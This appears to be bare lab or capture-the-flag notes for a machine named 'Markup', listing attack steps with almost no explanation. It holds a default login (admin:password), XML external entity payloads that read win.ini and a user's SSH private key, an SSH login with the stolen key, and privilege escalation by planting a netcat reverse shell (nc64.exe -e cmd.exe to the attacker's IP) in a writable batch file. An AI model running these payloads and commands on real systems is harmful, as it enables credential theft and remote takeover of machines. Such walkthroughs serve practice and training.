Markup

sudo nmap -sC -A -Pn <target_ip>

admin:password

hacktricks

<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY example SYSTEM "file:///c:/windows/win.ini"> ]>
    <order>
        <quantity>
            2
        </quantity>
        <item>
            &example;
        </item>
        <address>
            Test
        </address>
    </order>

<?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY example SYSTEM "file:///c:/users/daniel/.ssh/id_rsa"> ]>
    <order>
        <quantity>
            2
        </quantity>
        <item>
            &example;
        </item>
        <address>
            Test
        </address>
    </order>

touch id_rsa
chmod 400 id_rsa

ssh -i id_rsa daniel@<target_ip>

wevtutil

Privilege Escalation

cd /Log-Management
icacls job.bat

wget https://github.com/int0x33/nc.exe/blob/master/nc64.exe
sudo python -m http.server 1234

powershell
wget http://<your_ip>/nc64.exe -o nc64.exe
exit

sudo nc -nlvp 5555

echo C:\Log-Management\nc64.exe -e cmd.exe {your_IP} {port} > C:\Log-Management\job.bat